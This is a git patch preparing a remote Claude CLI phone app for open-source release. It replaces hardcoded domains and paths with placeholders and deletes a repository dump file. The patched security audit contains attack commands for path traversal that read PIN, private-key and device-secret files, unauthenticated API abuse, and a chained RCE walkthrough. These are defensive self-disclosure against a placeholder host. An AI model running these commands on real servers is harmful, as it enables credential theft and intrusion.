From e5eea2970561e8b4f3ec4cf16555ec5b3351a1f9 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 09:43:42 -0800 Subject: [PATCH 01/13] chore: prepare repo for open-source release - Remove junk files (foo.txt, AGENTS.md) - Remove `private: true` from package.json, add repository field - Replace all hardcoded pond.audio URLs with env vars - Replace hardcoded /home/jamie paths in systemd service with %h specifier - Genericize SEC_AUDIT.md, CLAUDE.md, ideas/ docs - Add .env.example with documented config - Update LICENSE copyright year Co-Authored-By: Claude Opus 4.6 --- .env.example | 9 + .gitignore | 1 + AGENTS.md | 1 - CLAUDE.md | 8 +- LICENSE | 2 +- SEC_AUDIT.md | 30 +- claude-remote.service | 12 +- foo.txt | 5584 ----------------------------------------- ideas/DIST.md | 4 +- ideas/WT.md | 2 +- package.json | 5 +- server.ts | 2 +- src/lib/push.ts | 4 +- src/lib/store.ts | 4 +- vite.config.ts | 4 +- 15 files changed, 51 insertions(+), 5621 deletions(-) create mode 100644 .env.example delete mode 120000 AGENTS.md delete mode 100644 foo.txt diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..ef088f9 --- /dev/null +++ b/.env.example @@ -0,0 +1,9 @@ +# Access PIN — used for authenticating from your phone +CLAUDE_REMOTE_PIN=change-me-to-a-secure-pin + +# Domain configuration (required for CORS and VAPID push notifications) +CLIENT_URL=https://your-client-domain.com +SERVER_URL=https://your-server-domain.com + +# Optional: additional CORS origins (comma-separated) +# CORS_ORIGINS=https://other-origin.com diff --git a/.gitignore b/.gitignore index fb6a9a4..3de77ac 100644 --- a/.gitignore +++ b/.gitignore @@ -33,6 +33,7 @@ yarn-error.log* # env files (can opt-in for committing if needed) .env* !.envrc +!.env.example # vercel .vercel diff --git a/AGENTS.md b/AGENTS.md deleted file mode 120000 index 681311e..0000000 --- a/AGENTS.md +++ /dev/null @@ -1 +0,0 @@ -CLAUDE.md \ No newline at end of file diff --git a/CLAUDE.md b/CLAUDE.md index 3833eeb..4357f18 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -23,7 +23,7 @@ The user is controlling you remotely from their phone via this app. They cannot ## Overview -Mobile chat interface for local Claude CLI with E2E encryption. Personal use — access Claude from phone via Cloudflare tunnel. +Mobile chat interface for local Claude CLI with E2E encryption. Access Claude from phone via Cloudflare tunnel (or any HTTPS reverse proxy). ## Architecture @@ -37,8 +37,8 @@ Mobile chat interface for local Claude CLI with E2E encryption. Personal use — ### URL Mapping (Production) -- `ai.pond.audio` = web client (served static files) -- `ai-server.pond.audio` = API server (WebSocket, REST) +- `CLIENT_URL` env var = web client (served static files) +- `SERVER_URL` env var = API server (WebSocket, REST) ### Directory Structure @@ -147,7 +147,7 @@ The `logs/` directory is gitignored. ## Verification 1. `make deploy` — builds and starts server on port 6767 -2. Open ai.pond.audio — see pairing page +2. Open your configured CLIENT_URL — see pairing page 3. Scan QR with phone, complete pairing 4. Set PIN, verify PIN entry works 5. Send message, verify streaming response diff --git a/LICENSE b/LICENSE index 3a7e247..7791306 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Jamie Pond +Copyright (c) 2025-2026 Jamie Pond Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/SEC_AUDIT.md b/SEC_AUDIT.md index 1660e93..af3c0db 100644 --- a/SEC_AUDIT.md +++ b/SEC_AUDIT.md @@ -8,7 +8,7 @@ ## Executive Summary -A **full unauthenticated RCE chain** exists. An attacker with network access to the server (through the Cloudflare tunnel at `ai-server.pond.audio`) can read all crypto secrets via path traversal, pair their own device, authenticate, and execute arbitrary commands through Claude CLI. No credentials are needed upfront. +A **full unauthenticated RCE chain** exists. An attacker with network access to the server (through the Cloudflare tunnel at `your-server.example.com`) can read all crypto secrets via path traversal, pair their own device, authenticate, and execute arbitrary commands through Claude CLI. No credentials are needed upfront. --- @@ -35,15 +35,15 @@ if (!existsSync(filePath) || !filePath.includes(".")) { ```bash # Read the PIN (server must have dist/client/ built) -curl --path-as-is 'https://ai-server.pond.audio/../../.env.local' +curl --path-as-is 'https://your-server.example.com/../../.env.local' # → CLAUDE_REMOTE_PIN= # Read the server's ECDH private key -curl --path-as-is 'https://ai-server.pond.audio/../../../../.config/claude-remote/server.json' +curl --path-as-is 'https://your-server.example.com/../../../../.config/claude-remote/server.json' # → {"privateKey":"...","publicKey":"...","pairingToken":"..."} # Read all paired device shared secrets -curl --path-as-is 'https://ai-server.pond.audio/../../../../.config/claude-remote/devices.json' +curl --path-as-is 'https://your-server.example.com/../../../../.config/claude-remote/devices.json' # → [{"id":"...","sharedSecret":"..."}] ``` @@ -90,16 +90,16 @@ Every HTTP endpoint is world-readable/writable. There is zero authentication on ```bash # Get a pairing token -curl -X POST 'https://ai-server.pond.audio/api/new-pair-token' +curl -X POST 'https://your-server.example.com/api/new-pair-token' # Read all conversations -curl 'https://ai-server.pond.audio/api/conversation' +curl 'https://your-server.example.com/api/conversation' # Unpair all legitimate devices (DoS) -curl -X POST 'https://ai-server.pond.audio/api/unpair' +curl -X POST 'https://your-server.example.com/api/unpair' # Cancel all running tasks (DoS) -curl -X POST 'https://ai-server.pond.audio/api/projects/remote-claude-real/cancel' +curl -X POST 'https://your-server.example.com/api/projects/remote-claude-real/cancel' ``` --- @@ -111,20 +111,20 @@ Combining the above two vulnerabilities with the fact that Claude is spawned wit ### Step 1: Steal secrets (0 auth) ```bash -PIN=$(curl -s --path-as-is 'https://ai-server.pond.audio/../../.env.local' | grep CLAUDE_REMOTE_PIN | cut -d= -f2) +PIN=$(curl -s --path-as-is 'https://your-server.example.com/../../.env.local' | grep CLAUDE_REMOTE_PIN | cut -d= -f2) ``` ### Step 2: Pair attacker device (0 auth) ```bash # Generate fresh token -TOKEN=$(curl -s -X POST 'https://ai-server.pond.audio/api/new-pair-token' | jq -r .token) +TOKEN=$(curl -s -X POST 'https://your-server.example.com/api/new-pair-token' | jq -r .token) # Get server public key -SERVER_PUB=$(curl -s "https://ai-server.pond.audio/pair/$TOKEN" | jq -r .serverPublicKey) +SERVER_PUB=$(curl -s "https://your-server.example.com/pair/$TOKEN" | jq -r .serverPublicKey) # POST attacker's ECDH public key, complete pairing -curl -s -X POST "https://ai-server.pond.audio/pair/$TOKEN" \ +curl -s -X POST "https://your-server.example.com/pair/$TOKEN" \ -H 'Content-Type: application/json' \ -d "{\"clientPublicKey\":\"$ATTACKER_PUB_KEY\"}" # → returns deviceId, serverPublicKey @@ -180,12 +180,12 @@ An authenticated attacker can: ### Proof of Concept (requires auth) ```javascript -// Make Claude run in /home/jamie/.ssh/ (if it has a .git or package.json) +// Make Claude run in /home/user/.ssh/ (if it has a .git or package.json) ws.send( encrypt({ type: "message", text: "list files", - projectId: "../../.config", // resolves to /home/jamie/.config + projectId: "../../.config", // resolves to /home/user/.config }), ); ``` @@ -203,7 +203,7 @@ res.setHeader("Access-Control-Allow-Origin", "*"); Any website the user visits can make cross-origin requests to the API. Combined with the unauthenticated endpoints, a malicious webpage could: -- Read conversations via `fetch('https://ai-server.pond.audio/api/conversation')` +- Read conversations via `fetch('https://your-server.example.com/api/conversation')` - Unpair devices - Generate pairing tokens - Cancel running tasks diff --git a/claude-remote.service b/claude-remote.service index bc27ae1..fe07393 100644 --- a/claude-remote.service +++ b/claude-remote.service @@ -4,16 +4,16 @@ After=network.target [Service] Type=simple -WorkingDirectory=/home/jamie/projects/remote-claude-real -ExecStart=/home/jamie/.nix-profile/bin/pnpm tsx server.ts +# Update these paths to match your installation +WorkingDirectory=%h/claude-remote +ExecStart=pnpm tsx server.ts Environment=NODE_ENV=production -Environment=PATH=/home/jamie/.local/bin:/home/jamie/.nix-profile/bin:/usr/local/bin:/usr/bin:/bin Restart=always RestartSec=3 -# Logging to file -StandardOutput=append:/home/jamie/projects/remote-claude-real/logs/daemon-server.log -StandardError=append:/home/jamie/projects/remote-claude-real/logs/daemon-server.log +# Logging +StandardOutput=append:%h/claude-remote/logs/daemon-server.log +StandardError=append:%h/claude-remote/logs/daemon-server.log [Install] WantedBy=default.target diff --git a/foo.txt b/foo.txt deleted file mode 100644 index db40c3a..0000000 --- a/foo.txt +++ /dev/null @@ -1,5584 +0,0 @@ -### Repo tree: -. -├── AGENTS.md -├── CLAUDE.md -├── claude-remote.service -├── client -│   └── src -│   ├── App.tsx -│   ├── components -│   │   ├── ChatInput.tsx -│   │   ├── GitStatus.tsx -│   │   ├── ProjectPicker.tsx -│   │   ├── ProjectTabs.tsx -│   │   ├── StreamingResponse.tsx -│   │   ├── ToolStack.tsx -│   │   └── types.ts -│   ├── index.css -│   ├── main.tsx -│   └── pages -│   ├── Chat.tsx -│   └── Home.tsx -├── eslint.config.mjs -├── .gitignore -├── index.html -├── issues -│   └── scroll-jump-during-typing.md -├── package.json -├── PLAN-MULTI-PROJECT.md -├── pnpm-lock.yaml -├── pnpm-workspace.yaml -├── public -│   ├── file.svg -│   ├── globe.svg -│   ├── next.svg -│   ├── vercel.svg -│   └── window.svg -├── README.md -├── server.ts -├── src -│   ├── lib -│   │   ├── claude.ts -│   │   ├── crypto.ts -│   │   └── store.ts -│   └── types -│   └── qrcode-terminal.d.ts -├── tsconfig.json -└── vite.config.ts - -10 directories, 36 files - - -### Skipping binary: AGENTS.md - - - -######################### -### CLAUDE.md -# Claude Remote Implementation Plan - -## Development Principles - -### Error Handling: SEEK ERRORS, DON'T HIDE THEM -- **Always show errors to the user** - silent failures waste hours of debugging -- When implementing any flow (pairing, auth, network calls, crypto): - 1. Wrap each step in try-catch - 2. Log with `debugPrint('[CONTEXT] Step N: description...')` - 3. On failure, throw with context: `throw Exception('Step N failed: $e')` - 4. Surface errors in the UI immediately - red box, full error text, selectable -- **Never assume success** - if something can fail, show what happened -- **Verbose by default** - it's easier to remove logs than to add them when debugging - -### URL Mapping (Production) -- `ai.pond.audio` = web client (served static files) -- `ai-server.pond.audio` = API server (WebSocket, REST) -- Flutter client must map client URLs to server URLs for API calls - -### After Code Changes: ALWAYS VERIFY -- After making Flutter/Dart changes, run `flutter analyze` to check for errors -- Run `flutter build web` to verify it compiles -- Use `make reload` to hot-reload connected clients -- Don't assume changes work - verify they build before moving on - -### UI: NO PLACEHOLDER/INOP ELEMENTS -- Never add UI elements (buttons, icons, etc.) that don't work yet -- No "TODO: implement" buttons - either implement it fully or don't add it -- Confusing inop UI is worse than no UI - -## Overview -Mobile chat interface for local Claude CLI with E2E encryption. Personal use - access Claude from phone via Cloudflare tunnel. - -## Architecture - -### Tech Stack -- **Next.js 16** with App Router -- **Custom server** for WebSocket support -- **Tailwind CSS** for styling -- **argon2** for PIN hashing -- **qrcode** for QR generation -- **ws** for WebSocket server - -### Directory Structure -``` -claude-remote/ -├── server.ts # Custom server with WebSocket -├── src/ -│ ├── lib/ -│ │ ├── crypto.ts # ECDH + AES-GCM encryption -│ │ ├── store.ts # Config/device persistence -│ │ └── claude.ts # Claude CLI spawning -│ └── app/ -│ ├── page.tsx # QR code / paired status -│ ├── pair/[token]/ -│ │ └── route.ts # Pairing API endpoints -│ └── chat/ -│ └── page.tsx # Chat interface -``` - -## Files to Create - -### 1. `src/lib/crypto.ts` -- `generateKeyPair()` - ECDH P-256 -- `deriveSharedSecret(privateKey, peerPublicKey)` - ECDH derive -- `encrypt(plaintext, secret)` - AES-256-GCM, returns {iv, ct, tag} -- `decrypt(encrypted, secret)` - AES-256-GCM -- Key serialization helpers (base64 <-> Buffer) - -### 2. `src/lib/store.ts` -- Config dir: `~/.config/claude-remote/` -- `loadDevice()` / `saveDevice()` - device.json -- `loadConfig()` / `saveConfig()` - config.json (PIN hash) -- `hashPin(pin)` / `verifyPin(pin, hash)` - argon2 - -### 3. `src/lib/claude.ts` -- `spawnClaude(message, onEvent, signal)` - spawn CLI with streaming -- Parse JSON stream events: content_block_start, content_block_delta -- Map to simplified events: {type: 'thinking'|'text', text, done} -- Handle cancel via AbortSignal - -### 4. `server.ts` -- Custom Next.js server on port 3001 -- WebSocket server on `/ws`: - - Verify device is paired - - Handle encrypted messages: auth, message, cancel - - Stream encrypted responses back -- Session management: authenticated state per connection - -### 5. `src/app/page.tsx` -- Server component showing QR code when no device paired -- Shows "Paired" status when device exists -- QR contains URL: `{baseUrl}/pair/{token}` - -### 6. `src/app/pair/[token]/route.ts` -- `GET` - Return server public key -- `POST` - Receive client public key, complete pairing - -### 7. `src/app/chat/page.tsx` -Client-side chat interface: -- **Crypto**: Web Crypto API for ECDH + AES-GCM -- **Views**: PIN entry → Chat -- **Chat UI**: Thinking bubbles, response bubbles, input -- **WebSocket**: Connect, encrypt/decrypt messages -- **Storage**: localStorage for deviceId, privateKey, sharedSecret - -## Pairing Flow - -1. Server generates ECDH keypair + random token on startup (if no device) -2. Desktop shows QR code with URL: `{baseUrl}/pair/{token}` -3. Phone scans, opens URL, generates own ECDH keypair -4. Phone POSTs its public key to `/pair/{token}` -5. Server derives shared secret, stores device, returns its public key -6. Phone derives shared secret, stores locally -7. Server now shows "paired" status, phone redirects to chat - -## Message Flow - -1. Phone connects WebSocket, sends encrypted `{type: 'auth', pin}` -2. Server decrypts, verifies PIN hash, sends encrypted `{type: 'auth_ok'}` -3. Phone sends encrypted `{type: 'message', text}` -4. Server spawns `claude --print --output-format stream-json` -5. Server streams encrypted `{type: 'thinking'|'text', text, done}` events -6. Phone decrypts and displays in real-time - -## Dev Logging - -All dev commands tee output to log files in `logs/`: - -- `pnpm dev` → `logs/server.log` + `logs/client.log` -- `pnpm dev:server` → `logs/server.log` -- `pnpm dev:client` → `logs/client.log` -- `pnpm start` → `logs/server.log` - -Tail logs with: -- `pnpm logs:server` -- `pnpm logs:client` - -The `logs/` directory is gitignored. - -## Verification - -1. `npm run dev` - starts server on port 3001 -2. Open localhost:3001 - see QR code -3. Scan QR with phone, complete pairing -4. Set PIN, verify PIN entry works -5. Send message, verify streaming response -6. Test cancel functionality - - - -######################### -### README.md -# Claude Remote - -A secure mobile-friendly web interface for remotely accessing Claude Code from your phone or any device. - -## Features - -- **End-to-end encryption** - ECDH key exchange + AES-GCM encryption -- **QR code pairing** - Easy device pairing with QR codes -- **PIN protection** - Secure access with a PIN -- **Mobile-first UI** - Optimized for phones with touch-friendly controls -- **Real-time streaming** - See Claude's responses as they're generated -- **Rich activity panel** - See exactly what Claude is doing: - - Tool calls with icons (Read, Write, Edit, Bash, etc.) - - **Live diff view** for file edits (red for removed, green for added) - - Syntax-highlighted bash commands - - Collapsible tool results - - Live streaming indicator - -## Activity Panel - -The chat interface includes a collapsible Activity panel that shows Claude's tool usage in real-time: - -``` -┌─────────────────────────────────────────────────┐ -│ ▶ Activity 📄 Read 🔧 Edit │ -├─────────────────────────────────────────────────┤ -│ ▶ 📄 Read Chat.tsx │ -│ ▶ 🔧 Edit Chat.tsx │ -│ ├─ /client/src/pages/Chat.tsx │ -│ ├─ - Remove: │ -│ │ ┌──────────────────────────────────────┐ │ -│ │ │ const [foo, setFoo] = useState(''); │ │ -│ │ └──────────────────────────────────────┘ │ -│ └─ + Add: │ -│ ┌──────────────────────────────────────┐ │ -│ │ const [bar, setBar] = useState(''); │ │ -│ └──────────────────────────────────────┘ │ -│ ▶ 💻 Bash pnpm run dev... │ -└─────────────────────────────────────────────────┘ -``` - -### Tool Icons - -| Icon | Tool | Description | -|------|------|-------------| -| 📄 | Read | Reading files | -| ✏️ | Write | Creating new files | -| 🔧 | Edit | Modifying existing files (shows diff) | -| 💻 | Bash | Running shell commands | -| 🔍 | Glob | Finding files by pattern | -| 🔎 | Grep | Searching file contents | -| 🤖 | Task | Spawning sub-agents | -| 🌐 | WebFetch | Fetching web content | -| 📝 | TodoWrite | Managing task lists | -| ❓ | AskUserQuestion | Asking for input | - -## Getting Started - -### Prerequisites - -- Node.js 20+ -- pnpm -- Claude CLI installed and authenticated - -### Installation - -```bash -pnpm install -``` - -### Development - -```bash -pnpm run dev -``` - -This starts both the server (port 6767) and Vite dev server (port 5173). - -### Environment Variables - -Create a `.env.local` file: - -```bash -PIN=1234 # Access PIN -CLIENT_URL=https://your-domain.com -SERVER_URL=https://your-server.com -``` - -## Architecture - -- **Frontend**: React + TypeScript + Tailwind CSS (Vite) -- **Backend**: Node.js WebSocket server -- **Security**: ECDH key exchange, AES-256-GCM encryption -- **Claude Integration**: Spawns Claude CLI with `--output-format stream-json` - -## Mobile Optimizations - -- Dynamic viewport height (`100dvh`) for proper mobile browser support -- Safe area insets for notched devices -- 44px minimum touch targets -- Rounded pill-style input and buttons -- Collapsible sections to maximize screen space - -## License - -MIT - - - -######################### -### claude-remote.service -[Unit] -Description=Claude Remote Server -After=network.target - -[Service] -Type=simple -WorkingDirectory=/home/jamie/projects/remote-claude-real -ExecStart=/home/jamie/.nix-profile/bin/pnpm tsx server.ts -Environment=NODE_ENV=production -Environment=PATH=/home/jamie/.local/bin:/home/jamie/.nix-profile/bin:/usr/local/bin:/usr/bin:/bin -Restart=always -RestartSec=3 - -# Logging to file -StandardOutput=append:/home/jamie/projects/remote-claude-real/logs/daemon-server.log -StandardError=append:/home/jamie/projects/remote-claude-real/logs/daemon-server.log - -[Install] -WantedBy=default.target - - - -######################### -### client/src/App.tsx -import { useState, useEffect } from 'react'; -import Home from './pages/Home'; -import Chat from './pages/Chat'; - -type Route = 'home' | 'chat' | 'pair'; - -export default function App() { - const [route, setRoute] = useState('home'); - const [pairToken, setPairToken] = useState(null); - - useEffect(() => { - const path = window.location.pathname; - const params = new URLSearchParams(window.location.search); - - if (path.startsWith('/pair/')) { - const token = path.split('/pair/')[1]; - setPairToken(token); - setRoute('pair'); - } else if (path === '/chat' || params.get('token')) { - setPairToken(params.get('token')); - setRoute('chat'); - } else { - setRoute('home'); - } - }, []); - - const navigate = (newRoute: Route) => { - if (newRoute === 'home') { - window.history.pushState({}, '', '/'); - } else if (newRoute === 'chat') { - window.history.pushState({}, '', '/chat'); - } - setRoute(newRoute); - }; - - if (route === 'home') { - return ; - } - - return ; -} - - - -######################### -### client/src/components/ChatInput.tsx -import { useState, useRef, useCallback, memo } from 'react'; - -interface ChatInputProps { - isStreaming: boolean; - onSend: (text: string) => void; - onCancel: () => void; -} - -export default memo(function ChatInput({ isStreaming, onSend, onCancel }: ChatInputProps) { - const [input, setInputRaw] = useState(() => localStorage.getItem('claude-remote-draft') || ''); - const draftTimerRef = useRef | null>(null); - - const setInput = useCallback((v: string) => { - setInputRaw(v); - if (draftTimerRef.current) clearTimeout(draftTimerRef.current); - draftTimerRef.current = setTimeout(() => { - if (v) localStorage.setItem('claude-remote-draft', v); - else localStorage.removeItem('claude-remote-draft'); - }, 500); - }, []); - - const handleSubmit = (e: React.FormEvent) => { - e.preventDefault(); - if (!input.trim() || isStreaming) return; - const text = input.trim(); - setInput(''); - onSend(text); - }; - - return ( -
- setInput(e.target.value)} - placeholder={isStreaming ? "Task running..." : "New task..."} - className="flex-1 min-h-[44px] px-4 py-3 bg-[var(--color-bg-secondary)] rounded-full focus:outline-none focus:ring-2 focus:ring-[var(--color-accent)] text-base" - /> - {isStreaming ? ( - - ) : ( - - )} -
- ); -}) - - - -######################### -### client/src/components/GitStatus.tsx -import { useState, useEffect, useCallback } from 'react'; -import { apiFetch } from '../lib/api'; - -interface GitFile { - status: string; - path: string; -} - -interface GitStatusData { - branch: string; - isDirty: boolean; - changedFiles: number; - files: GitFile[]; - ahead: number; - behind: number; -} - -// Git status code to color/label -function fileStatusColor(status: string): string { - if (status.includes('M')) return 'text-yellow-300'; - if (status.includes('A')) return 'text-green-300'; - if (status.includes('D')) return 'text-red-300'; - if (status.includes('R')) return 'text-blue-300'; - if (status === '??') return 'text-[var(--color-text-tertiary)]'; - return 'text-[var(--color-text-secondary)]'; -} - -function fileStatusLabel(status: string): string { - if (status === '??') return 'new'; - if (status.includes('M')) return 'mod'; - if (status.includes('A')) return 'add'; - if (status.includes('D')) return 'del'; - if (status.includes('R')) return 'ren'; - return status; -} - -interface GitStatusProps { - projectId: string | null; -} - -export default function GitStatus({ projectId }: GitStatusProps) { - const [status, setStatus] = useState(null); - const [error, setError] = useState(null); - const [loading, setLoading] = useState(false); - const [expanded, setExpanded] = useState(false); - - const fetchStatus = useCallback(async () => { - if (!projectId) { - console.log('[GitStatus] No projectId, skipping fetch'); - setStatus(null); - return; - } - - console.log('[GitStatus] Fetching git status for:', projectId); - setLoading(true); - try { - const res = await apiFetch(`/api/projects/${encodeURIComponent(projectId)}/git`); - if (!res.ok) { - const data = await res.json(); - console.error('[GitStatus] API error:', data); - throw new Error(data.error || 'Failed to fetch git status'); - } - const data = await res.json(); - console.log('[GitStatus] Got status:', data); - setStatus(data); - setError(null); - } catch (err) { - console.error('[GitStatus] Fetch failed:', err); - setError(err instanceof Error ? err.message : 'Unknown error'); - setStatus(null); - } finally { - setLoading(false); - } - }, [projectId]); - - // Fetch on mount and when projectId changes - useEffect(() => { - fetchStatus(); - }, [fetchStatus]); - - // Refresh periodically (every 30s) - useEffect(() => { - if (!projectId) return; - const interval = setInterval(fetchStatus, 30000); - return () => clearInterval(interval); - }, [projectId, fetchStatus]); - - if (!projectId || error) { - return null; - } - - if (loading && !status) { - return ( -
-
-
- ); - } - - if (!status) { - return null; - } - - return ( -
- - - {/* Expanded details dropdown */} - {expanded && ( - <> - {/* Backdrop to close */} -
setExpanded(false)} - /> - -
-
- {/* Branch */} -
- - - - {status.branch} -
- - {/* Status summary */} - {status.isDirty ? ( -
-
- -
- - {status.changedFiles} file{status.changedFiles !== 1 ? 's' : ''} changed - -
- ) : ( -
- - - - Clean working tree -
- )} - - {/* Ahead/behind */} - {(status.ahead > 0 || status.behind > 0) && ( -
- {status.ahead > 0 && ( - - ↑ {status.ahead} ahead - - )} - {status.behind > 0 && ( - - ↓ {status.behind} behind - - )} -
- )} -
- - {/* Changed files list */} - {status.files && status.files.length > 0 && ( -
- {status.files.map((file, i) => ( -
- - {fileStatusLabel(file.status)} - - - {file.path} - -
- ))} -
- )} - - {/* Refresh button */} -
- -
-
- - )} -
- ); -} - - - -######################### -### client/src/components/ProjectPicker.tsx -import { useState, useEffect } from 'react'; -import type { Project } from './ProjectTabs'; -import { apiFetch } from '../lib/api'; - -interface ProjectPickerProps { - isOpen: boolean; - onClose: () => void; - onSelect: (project: Project) => void; - openProjectIds: Set; -} - -export default function ProjectPicker({ - isOpen, - onClose, - onSelect, - openProjectIds, -}: ProjectPickerProps) { - const [projects, setProjects] = useState([]); - const [loading, setLoading] = useState(false); - const [error, setError] = useState(null); - const [search, setSearch] = useState(''); - - useEffect(() => { - if (isOpen) { - fetchProjects(); - } - }, [isOpen]); - - const fetchProjects = async () => { - setLoading(true); - setError(null); - try { - const res = await apiFetch('/api/projects'); - if (!res.ok) throw new Error('Failed to fetch projects'); - const data = await res.json(); - setProjects(data.projects || []); - } catch (err) { - setError(err instanceof Error ? err.message : 'Failed to load projects'); - } finally { - setLoading(false); - } - }; - - if (!isOpen) return null; - - const filteredProjects = projects.filter( - (p) => - p.name.toLowerCase().includes(search.toLowerCase()) || - p.id.toLowerCase().includes(search.toLowerCase()) - ); - - return ( -
- {/* Backdrop */} -
- - {/* Modal */} -
- {/* Header */} -
-

Open Project

- -
- - {/* Search */} -
- setSearch(e.target.value)} - placeholder="Search projects..." - className="w-full px-4 py-2 bg-[var(--color-bg-primary)] border border-[var(--color-border-default)] rounded-lg text-[var(--color-text-primary)] placeholder-[var(--color-text-tertiary)] focus:outline-none focus:ring-2 focus:ring-[var(--color-accent)]" - /> -
- - {/* Project list */} -
- {loading ? ( -
-
-
- ) : error ? ( -
-

{error}

- -
- ) : filteredProjects.length === 0 ? ( -
- {search ? 'No matching projects' : 'No projects found in ~/projects'} -
- ) : ( -
- {filteredProjects.map((project) => { - const isOpen = openProjectIds.has(project.id); - return ( - - ); - })} -
- )} -
- - {/* Footer hint */} -
- Projects from ~/projects -
-
-
- ); -} - - - -######################### -### client/src/components/ProjectTabs.tsx -import { useRef, useEffect } from 'react'; - -export interface Project { - id: string; - path: string; - name: string; - lastAccessed?: string; -} - -interface ProjectTabsProps { - projects: Project[]; - activeProjectId: string | null; - streamingProjectIds: Set; - onSelectProject: (projectId: string) => void; - onCloseProject: (projectId: string) => void; - onAddProject: () => void; -} - -export default function ProjectTabs({ - projects, - activeProjectId, - streamingProjectIds, - onSelectProject, - onCloseProject, - onAddProject, -}: ProjectTabsProps) { - const scrollRef = useRef(null); - const activeTabRef = useRef(null); - - // Scroll active tab into view - useEffect(() => { - if (activeTabRef.current && scrollRef.current) { - activeTabRef.current.scrollIntoView({ - behavior: 'smooth', - block: 'nearest', - inline: 'center', - }); - } - }, [activeProjectId]); - - return ( -
- {/* Add project button */} - - - {/* Scrollable tabs container */} -
-
- {projects.map((project) => { - const isActive = project.id === activeProjectId; - const isStreaming = streamingProjectIds.has(project.id); - - return ( - - - ); - })} -
-
-
- ); -} - - - -######################### -### client/src/components/StreamingResponse.tsx -import { useState, useMemo, memo } from 'react'; -import ToolStack from './ToolStack'; -import type { ToolActivity } from './types'; -export type { ToolActivity }; - -interface StreamingResponseProps { - thinking?: string; - activity?: ToolActivity[]; - content?: string; - isStreaming?: boolean; - task?: string; - startedAt?: string; - completedAt?: string; -} - -// Format elapsed time -function formatElapsedTime(startedAt: string, completedAt?: string): string { - const start = new Date(startedAt).getTime(); - const end = completedAt ? new Date(completedAt).getTime() : Date.now(); - const elapsed = Math.floor((end - start) / 1000); - - if (elapsed < 60) return `${elapsed}s`; - const minutes = Math.floor(elapsed / 60); - const seconds = elapsed % 60; - return `${minutes}m ${seconds}s`; -} - -// Render inline formatting (bold, italic, code, links) -function renderInline(text: string): React.ReactNode[] { - const parts: React.ReactNode[] = []; - let remaining = text; - let key = 0; - - while (remaining.length > 0) { - // Bold: **text** or __text__ - const boldMatch = remaining.match(/^(\*\*|__)(.+?)\1/); - if (boldMatch) { - parts.push({boldMatch[2]}); - remaining = remaining.slice(boldMatch[0].length); - continue; - } - - // Italic: *text* or _text_ - const italicMatch = remaining.match(/^(\*|_)([^*_]+)\1/); - if (italicMatch) { - parts.push({italicMatch[2]}); - remaining = remaining.slice(italicMatch[0].length); - continue; - } - - // Inline code: `code` - const codeMatch = remaining.match(/^`([^`]+)`/); - if (codeMatch) { - parts.push( - - {codeMatch[1]} - - ); - remaining = remaining.slice(codeMatch[0].length); - continue; - } - - // Link: [text](url) - const linkMatch = remaining.match(/^\[([^\]]+)\]\(([^)]+)\)/); - if (linkMatch) { - parts.push( - - {linkMatch[1]} - - - - - ); - remaining = remaining.slice(linkMatch[0].length); - continue; - } - - // Bare URL: https://... or http://... - const urlMatch = remaining.match(/^(https?:\/\/[^\s<>)"']+)/); - if (urlMatch) { - const url = urlMatch[1]; - // Clean trailing punctuation that's likely not part of URL - const cleanUrl = url.replace(/[.,;:!?)]+$/, ''); - const trailingPunct = url.slice(cleanUrl.length); - // Show shortened display text for long URLs - const displayUrl = cleanUrl.length > 40 - ? cleanUrl.slice(0, 35) + '...' - : cleanUrl; - parts.push( - - {displayUrl} - - - - - ); - if (trailingPunct) parts.push(trailingPunct); - remaining = remaining.slice(url.length); - continue; - } - - // Regular text until next special char or URL - const nextSpecial = remaining.search(/[*_`\[]|https?:\/\//); - if (nextSpecial === -1) { - parts.push(remaining); - break; - } else if (nextSpecial === 0) { - // Special char that didn't match a pattern - treat as literal - parts.push(remaining[0]); - remaining = remaining.slice(1); - } else { - parts.push(remaining.slice(0, nextSpecial)); - remaining = remaining.slice(nextSpecial); - } - } - - return parts; -} - -// Parse and render markdown-like content -function TextBlock({ text, isStreaming }: { text: string; isStreaming?: boolean }) { - const lines = text.split('\n'); - const elements: React.ReactNode[] = []; - let i = 0; - let key = 0; - - while (i < lines.length) { - const line = lines[i]; - - // Fenced code block: ```lang ... ``` - if (line.startsWith('```')) { - const lang = line.slice(3).trim(); - const codeLines: string[] = []; - i++; - while (i < lines.length && !lines[i].startsWith('```')) { - codeLines.push(lines[i]); - i++; - } - i++; // skip closing ``` - elements.push( -
- {lang &&
{lang}
} -
-            {codeLines.join('\n')}
-          
-
- ); - continue; - } - - // Header: # ## ### etc - const headerMatch = line.match(/^(#{1,4})\s+(.+)/); - if (headerMatch) { - const level = headerMatch[1].length; - const headerText = headerMatch[2]; - const sizes = ['text-xl font-bold', 'text-lg font-bold', 'text-base font-semibold', 'text-sm font-semibold']; - elements.push( -
- {renderInline(headerText)} -
- ); - i++; - continue; - } - - // Bullet list: - or * or • - if (/^[\-\*•]\s/.test(line)) { - const listItems: string[] = []; - while (i < lines.length && /^[\-\*•]\s/.test(lines[i])) { - listItems.push(lines[i].replace(/^[\-\*•]\s+/, '')); - i++; - } - elements.push( -
    - {listItems.map((item, j) => ( -
  • {renderInline(item)}
  • - ))} -
- ); - continue; - } - - // Numbered list: 1. 2. etc - if (/^\d+\.\s/.test(line)) { - const listItems: string[] = []; - while (i < lines.length && /^\d+\.\s/.test(lines[i])) { - listItems.push(lines[i].replace(/^\d+\.\s+/, '')); - i++; - } - elements.push( -
    - {listItems.map((item, j) => ( -
  1. {renderInline(item)}
  2. - ))} -
- ); - continue; - } - - // Empty line = paragraph break - if (line.trim() === '') { - i++; - continue; - } - - // Regular paragraph - collect consecutive non-empty lines - const paraLines: string[] = []; - while (i < lines.length && lines[i].trim() !== '' && !lines[i].startsWith('```') && - !lines[i].match(/^#{1,4}\s/) && !/^[\-\*•]\s/.test(lines[i]) && !/^\d+\.\s/.test(lines[i])) { - paraLines.push(lines[i]); - i++; - } - if (paraLines.length > 0) { - elements.push( -

- {renderInline(paraLines.join(' '))} -

